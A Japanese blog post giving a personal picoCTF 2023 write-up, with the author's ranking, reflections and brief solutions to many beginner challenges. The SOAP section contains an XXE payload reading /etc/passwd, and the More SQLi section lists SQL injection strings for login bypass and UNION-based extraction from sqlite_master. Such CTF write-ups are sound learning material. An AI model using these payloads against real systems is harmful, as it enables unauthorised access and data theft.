🐦

picoCTF2023 writeup

2023/04/04に公開

結果

1649位/6924位でした。

各カテゴリの回答数はこんな感じ。

所感

picoGym始めてから数か月経ったけど、そこまで解けるようになった実感はないですね。
まだもともとの知識で戦ってる感じがあります。
問題を通していろんな技術を吸収したいけど、もっと体系的に勉強しないと身につかない気がしててモヤモヤ。
惜しい問題は数個あったので、次回はもっと解けるように頑張ります

writeup

chrono

crontab -lかと思ったらなかった
cronの定義ファイルを見ないといけない /etc/crontabが正解ファイル

hideme

flag.pngが与えられる

zipの中にflagが入ってる

MatchTheRegex

正規表現てかいてあったから、
.*とか^.*$とかで全マッチさせるかと思ったら違った
// ^p.....F!?
.が任意の1文字だから、あてはまるものを考えてねってことだったのかな…
真意が不明の問題だった

money-ware

ぐぐったら出てくる

PcapPoisoning

wiresharkで開いて探せばある

Permissions

悩んだが結局ファイル探しするだけだった

ホームフォルダは特に何もないので、ルートに移動する

cd /
ls -l

で見れる権限のあるフォルダが絞られる

cd challenge
vim metadata.json

の中にフラグあり

ReadMyCert

opensslでcrtを開く

>openssl req -noout -text -in readmycert.csr

コモンネームが答え
Subject: CN = picoCTF{read_mycert_96d48a46}, name = ctfPlayer

Ready Gladiator 0

わけわからんまま解いてしまった
Corewarsというゲームがあるらしく、redcodeというものでプレイヤーの動作を決めるらしい
全試合負けろというお題だったが、mov 0,0に書き換えたらできた。ようわからん

repetitions

Base64で6回ほどデコードする

Reverse

stirlingで開くとある

rotation

ROT13でずらしてくだけ

Rules 2023

探すだけ

Safe Opener 2

ghidraでデコンパイルする

SOAP

SOAPの外部エンティティ攻撃をしかける。
wikipediaに載っていたコードをそのまま書いたらできた
<data><id/></data>は実際の通信を参考に

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE test [<!ENTITY xxeattack SYSTEM "file:///etc/passwd">]><data><ID>&xxeattack;</ID></data>

timer

apkファイルは実態はzipなので解凍する
AndroidManifest.xmlの中に書いてある

two-sum

2つの値の和をオーバーフローさせる
やみくもに大きな値をいれてももともとがオーバーフローしちゃうからだめ
intが4バイトなので、
1つ1つは2147483647以下で、 2つの数字の和が2147483647以上になるようにする
大学の授業でありそう

who is it

メールのヘッダーを確認すると、 173.249.33.206が怪しそう
 whoisで検索する

personが答え

More SQLi

ログイン

pass' OR '1'='1'--

テーブル名一覧
問題タイトルより、SQLiteっぽいので、SQLiteのDB一覧を表示させる

' OR '1'='1' UNION SELECT 1,2,3 FROM sqlite_master --
' OR '1'='1' UNION SELECT name,2,3 FROM sqlite_master --

テーブル名一覧は取得できた

' OR '1'='1' UNION ALL select * FROM hints --
' OR '1'='1' UNION ALL select * FROM more_table --
' OR '1'='1' UNION ALL select * FROM offices --
' OR '1'='1' UNION ALL select * FROM sqlite_autoindex_users_1 --
' OR '1'='1' UNION ALL select * FROM users --
' OR '1'='1' UNION sql from sqlite_master where type='table' and name='table_name' --

usersにadminが引っ掛かったが、正解じゃなかった

こっちのほうがたくさん情報とれそう

 ' OR '1'='1' UNION SELECT sql,2,3 FROM sqlite_master --

more_tableの中にflag列があるので、表示してみる

 ' OR '1'='1' UNION SELECT flag,2,3 FROM more_table --

あった!!

結果的に3列のテーブルがusersしかなかったので、UNION ALL SELECTではusersテーブルしか表示されなかったみたい。

参考

https://tech.griphone.co.jp/2019/12/22/advent-calendar-20191222/
https://blog.hamayanhamayan.com/entry/2021/12/05/115923

No way out

解けてうれしかったやつ

普通にゲームが始まる。
大きな旗のあたりが怪しそうだが行けない

unity製なのでunityのデコンパイルをする

dnSpy.exeを使う
dnSpyにpico_Data/Managed/Assenbly-CSharp.dllを食わせるとデコンパイルできる

PlayerControllerクラスに、プレイヤーの動きの制御が書いてありそう

34行目に落下時の重力制御が書いてある

ここをいじる

ジャンプの条件(51行目あたり)もいじるとジャンプボタン押すだけで宙に浮き続けられる

これで旗に触れればフラグゲット

Ready Gladiator 1

またまたcorewarsの問題
今度は勝つことを求められている

corewars redcode beginner docsでググったら出てきたサイトのコードをそのままコピペしたら勝てた

https://vyznev.net/corewar/guide.html#start_dwarf

Discussion